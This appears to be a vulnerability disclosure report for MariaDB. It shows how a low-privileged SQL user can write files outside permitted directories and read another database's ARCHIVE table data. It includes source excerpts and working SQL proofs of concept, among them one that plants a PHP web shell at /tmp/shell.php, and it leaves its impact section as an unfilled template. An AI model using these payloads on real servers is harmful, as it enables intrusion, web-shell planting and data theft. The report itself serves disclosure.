MariaDB · Report #3849025
DATA / INDEX DIRECTORY Abuse
How it was found
A user with ordinary schema-level privileges (SELECT, INSERT, CREATE etc, but no global FILE privilege) may be able to coerce MariaDB into writing (almost) arbitrary data into attacker chosen locations by abusing issues with how a table's DATA DIRECTORY or INDEX DIRECTORY values are used.
Basic Overview
SELECT VERSION(), @@have_symlink;
-- 13.1.0-MariaDB, YES
SELECT '<?php system("uname -a && id");' INTO OUTFILE '/tmp/shell.php';
-- ERROR 1227 (42000): Access denied; you need (at least one of) the FILE privilege(s)
-- InnoDB
-- - only supports `DATA DIRECTORY`
-- - will create any missing directories automagically
-- - will write to `<directory>/<db>/<table>.idb`
CREATE TABLE poc_innodb(a INT)
ENGINE=InnoDB
DATA DIRECTORY='/tmp/poc';
-- creates:
-- /tmp/poc/testdb/poc_innodb.ibd
-- ====================================================== --
-- MyISAM / Aria
-- - supports both `DATA` and `INDEX DIRECTORY`
-- - data / index directories must already exists
-- - will write to `<directory>/<table>.<ext>`
CREATE TABLE poc_myisam(a INT KEY)
ENGINE=MyISAM
DATA DIRECTORY='/tmp/poc'
INDEX DIRECTORY='/tmp/poc';
-- creates:
-- /tmp/poc/poc_myisam.MYD
-- /tmp/poc/poc_myisam.MYI
CREATE TABLE poc_aria(a INT)
ENGINE=Aria
DATA DIRECTORY='/tmp/poc'
INDEX DIRECTORY='/tmp/poc';
-- creates:
-- /tmp/poc/poc_aria.MAD
-- /tmp/poc/poc_aria.MAI
Note: target directories must be writable by the mariadbd process and table related filenames cannot already exist.
All good so far - no real surprises.
Directory Traversal
While valid table names may contain path components such as / and ., normal table file paths get built with build_table_filename() which uses tablename_to_filename() to sanitize both the database and table names.
uint build_table_filename(char *buff, size_t bufflen, const char *db,
const char *table_name, const char *ext, uint flags)
{
char dbbuff[FN_REFLEN];
char tbbuff[FN_REFLEN];
(void) tablename_to_filename(db, dbbuff, sizeof(dbbuff));
...
if (flags & FN_IS_TMP)
strmake(tbbuff, table_name, sizeof(tbbuff)-1);
else
(void) tablename_to_filename(table_name, tbbuff, sizeof(tbbuff));
...
}
The path seems to be different for tables with external directories. During CREATE TABLE MariaDB calls append_file_to_dir() on create_info.data_file_name and create_info.index_file_name to add the table name directly without using tablename_to_filename().
/* Fix names if symlinked or relocated tables */
if (append_file_to_dir(thd, &create_info.data_file_name,
&create_table->table_name) ||
append_file_to_dir(thd, &create_info.index_file_name,
&create_table->table_name))
goto end_with_restore_list;
e.g.
CREATE TABLE `../../../../tmp/poc_myisam`(a INT)
ENGINE=MyISAM;
-- created:
-- /var/lib/mysql/testdb/@002e@002e@002f@002e@002e@002f@002e@002e@002f@002e@002e@002ftmp@002fpoc_myisam.MYD
CREATE TABLE `../../../tmp/poc_myisam`(a INT)
DATA DIRECTORY='/tmp/foo/bar'
ENGINE=MyISAM;
-- created:
-- /tmp/poc_myisam.MYD
--
-- instead of:
-- /tmp/foo/bar/@002e@002e@002f@002e@002e@002f@002e@002e@002ftmp@002fpoc_myisam.MYD
While the above example could have just used DATA DIRECTORY='/tmp' to achieve the same thing, it does highlight that table data may end up living outside of the originally defined directories.
InnoDB fairs a little better.
CREATE TABLE `../../../tmp/poc_innodb`(a INT)
DATA DIRECTORY='/tmp/foo/bar'
ENGINE=InnoDB;
-- created:
-- /tmp/testdb/@002e@002e@002f@002e@002e@002f@002e@002e@002ftmp@002fpoc_innodb.ibd
--
-- instead of:
-- /tmp/foo/bar/testdb/@002e@002e@002f@002e@002e@002f@002e@002e@002f@002e@002e@002f@002e@002e@002ftmp@002fpoc_innodb.idb
Directory Traversal into Restricted Directories
After the raw table name is appended to create_info.data_file_name / index_file_name, it is later checked to ensure that the files are actually external to the normal data directories.
if (unlikely(error_if_data_home_dir(create_info->data_file_name,
"DATA DIRECTORY")) ||
unlikely(error_if_data_home_dir(create_info->index_file_name,
"INDEX DIRECTORY")) ||
unlikely(check_partition_dirs(thd->lex->part_info)))
goto err;
int error_if_data_home_dir(const char *path, const char *what)
{
...
dirname_part(dirpath, path, &dirlen);
if (test_if_data_home_dir(dirpath))
{
my_error(ER_WRONG_ARGUMENTS, MYF(0), what);
return 1;
}
...
test_if_data_home_dir() > fn_format(..., MY_RETURN_REAL_PATH) > my_realpath()
int my_realpath(char *to, const char *filename, myf MyFlags)
{
...
if ((ptr=realpath(filename[0] ? filename : cur_dir, buff)))
strmake(to, ptr, FN_REFLEN-1);
else
{
/*
Realpath didn't work; Use my_load_path() which is a poor substitute
original name but will at least be able to resolve paths that starts
with '.'.
*/
...
my_load_path(to, filename, NullS);
...
Thus if the table data path contains segments that don't exist, realpath() will fail and my_realpath() falls back to using my_load_path() - causing the error_if_data_home_dir() checks to pass and allowing traversal into restricted directories.
Proof of Concept
SELECT @@datadir;
-- /var/lib/mysql
CREATE TABLE `../../var/lib/mysql/poc_myisam_datadir`(a INT KEY)
ENGINE=MyISAM
DATA DIRECTORY='/tmp/poc';
-- ERROR 1210 (HY000): Incorrect arguments to DATA DIRECTORY
CREATE TABLE `../../../var/lib/mysql/poc_myisam_datadir`(a INT KEY)
ENGINE=MyISAM
DATA DIRECTORY='/tmp/poc/does-not-exist-myisam';
-- creates:
-- /var/lib/mysql/poc_myisam_datadir.MYD
--
-- instead of attempting to use the following (and then failing because `does-not-exist-myisam` doesn't exist?):
-- /tmp/poc/does-not-exist-myisam/[encoded]poc_myisam_datadir.MYD
--
-- **note:** the table is not useable after creation
--
-- INSERT ...
-- ERROR 1030 (HY000): Got error 140 "Wrong create options" from storage engine MyISAM
InnoDB behaves in a similar matter, will create /tmp/poc/does-not-exist-innodb and create /var/lib/mysql/testdb/@002e@002e@002f@002e@002e@002f@002e@002e@002ftmp@002fmariadb@002drelease@002e72mrpw@002fdata@002fpoc_innodb_datadir.ibd ... but that doesn't seem to have much advantage :shrug:
Just using /proc/self/cwd/foobar might also work under linux?
What's more interesting is ...
Arbitrary Table Data Filenames
When the data_file_name / index_file_name values get passed to the storage engines for creation, they are reformatted into their final filenames (file extensions get added etc) with something like the following:
storage/myisam/mi_create.c:677
fn_format(dfilename, ci->data_file_name, "", MI_NAME_DEXT,
MY_UNPACK_FILENAME |
(have_dext ? MY_REPLACE_EXT : MY_APPEND_EXT));
The problem is that if data_file_name happens to be large enough (508-511), fn_format() won't append the extension because the length of the new filename would be >= FN_REFLEN (512) and the original file name, which may already contain some other extension, will be used instead.
char * fn_format(char * to, const char *name, const char *dir,
const char *extension, uint flag)
{
...
if (strlen(dev)+length+strlen(ext) >= FN_REFLEN || length >= FN_LEN )
{
/* To long path, return original or NULL */
size_t tmp_length;
if (flag & MY_SAFE_PATH)
DBUG_RETURN(NullS);
tmp_length= strlength(startpos);
DBUG_PRINT("error",("dev: '%s' ext: '%s' length: %u",dev,ext,
(uint) length));
(void) strmake(to,startpos,MY_MIN(tmp_length,FN_REFLEN-1));
}
...
Unrelated: there is a typo above in comment
/* To long ... */)
While being able to create table files in a long path with arbitrary extensions might already be beneficial to an attacker, it doesn't allow for arbitrary file placement directly (I haven't checked symlink based attacks) because cleanup_dirname() is called before this to normalize the path and resolve potential directory traversal issues ... except this can be bypassed in two separate ways.
size_t cleanup_dirname(register char *to, const char *from)
{
...
if (pos[1] == FN_HOMELIB ||
(pos >= start && memcmp(pos, parent, length) == 0))
{ /* Don't remove ~user/ */
pos=strmov(end_parentdir+1,parent);
*pos=FN_LIBCHAR;
continue;
}
...
Paths that start with multiple /.. segments or those that contain ~foobar/../../.. do not get handled correctly by cleanup_dirname(). This allows an attacker to keep the internal filename that MariaDB is using artificially long enough such that the storage engine does not append its own extensions, while the OS resolves the filename somewhere shorter.
Proof of Concept
SET @target = '/tmp/shell.php';
SET @payload = '<?php system( "uname -a && id" );';
SELECT SUBSTRING_INDEX(@target, '/', -1) INTO @tbl;
SELECT CONCAT(REPEAT('/..', FLOOR((511 - LENGTH(@target)) / 3)), LEFT(@target, LENGTH(@target) - LENGTH(@tbl) - 1)) INTO @dir;
SELECT CONCAT("CREATE TABLE `", @tbl, "`(payload CHAR(", LENGTH(@payload), ") CHARACTER SET binary NOT NULL) ENGINE=MyISAM DATA DIRECTORY='", @dir, "'") INTO @sql;
PREPARE tbl_create FROM @sql;
EXECUTE tbl_create;
-- % ls -la /tmp/shell.php
-- -rw-rw----@ 1 vortfu wheel 0 Jun 30 14:22 /tmp/shell.php
SELECT CONCAT('INSERT INTO `', @tbl, '` VALUES (BINARY(?))') INTO @sql;
PREPARE tbl_insert FROM @sql;
EXECUTE tbl_insert USING @payload;
-- % hexdump -C /tmp/shell.php
-- 00000000 ff 3c 3f 70 68 70 20 73 79 73 74 65 6d 28 20 22 |.<?php system( "|
-- 00000010 75 6e 61 6d 65 20 2d 61 20 26 26 20 69 64 22 20 |uname -a && id" |
-- 00000020 29 3b |);|
-- 00000022
One little leading 0xff byte away from completely arbitrary file contents ... but it is still enough to cause problems depending on what can be written where :)
Different engines / field types may provide different row framing bytes depending on the attacker's actual need.
(BONUS BUG) ARCHIVE Table Data File Overwrite / Deletion
The optional ARCHIVE storage engine somewhat extends the above DATA DIRECTORY issues because it opens the target data file with O_CREAT|O_RDWR and no O_EXCL or O_TRUNC before immediately rewriting the archive header.
storage/archive/ha_archive.cc:840
if (my_use_symdir &&
create_info->data_file_name &&
create_info->data_file_name[0] != '#')
{
fn_format(name_buff, create_info->data_file_name, "", ARZ,
MY_REPLACE_EXT | MY_UNPACK_FILENAME);
fn_format(linkname, name, "", ARZ,
MY_REPLACE_EXT | MY_UNPACK_FILENAME);
}
...
/*
There is a chance that the file was "discovered". In this case
just use whatever file is there.
*/
my_errno= 0;
if (!(azopen(&create_stream, name_buff, O_CREAT|O_RDWR|O_BINARY)))
...
While we can't target arbitrary files to create / overwrite because the archive filename will replace the extension with .ARZ, we can use the above long DATA DIRECTORY trick to target extensionless files. They can then be overwritten or deleted when the table is dropped.
If overwriting an existing ARCHIVE file, it's possible to leak data without access.
Proof of Concept
Note: the following poc targets a cross db leak between ARCHIVE tables. If targeting tables in the same db you might need to use the arbitrary table files bug above and access the data via <table>.arz instead. I didn't test.
USE victimdb;
CREATE TABLE `secret` (data CHAR(255) CHARACTER SET binary NOT NULL) ENGINE=ARCHIVE DATA DIRECTORY='/tmp/poc' COMMENT='foo';
INSERT INTO `secret` VALUES ('secret 1'),('secret 2'),('secret 3');
SELECT * FROM `secret`;
-- secret 1
-- secret 2
-- secret 3
USE testdb;
SELECT * FROM `victimdb`.`secret`;
-- ERROR 1142 (42000): SELECT command denied to user 'vortfu'@'localhost' for table `victimdb`.`secret`
CREATE TABLE `secret` (data CHAR(255) CHARACTER SET binary NOT NULL) ENGINE=ARCHIVE DATA DIRECTORY='/tmp/poc' COMMENT='foo';
SELECT * FROM `secret`;
-- Empty set (0.011 sec)
INSERT INTO `secret` VALUES ('test 1'), ('test 2');
SELECT * FROM `secret`;
-- secret 1
-- secret 2
INSERT INTO `secret` VALUES ('test 3'), ('test 4'), ('test 5');
SELECT * FROM `secret`;
-- secret 1
-- secret 2
-- secret 3
Note: new rows inserted into secret may crash the table ...
If the table definitions DON'T match, it tends to stay alive (for a while at least) but turns into a black hole from both sides.
INSERT INTO `secret` values ('foobar');
-- Query OK, 1 row affected (0.000 sec)
SELECT * FROM `secret`;
-- Empty set (0.008 sec)
Apologies for the long read :)
Impact
Describe impact here.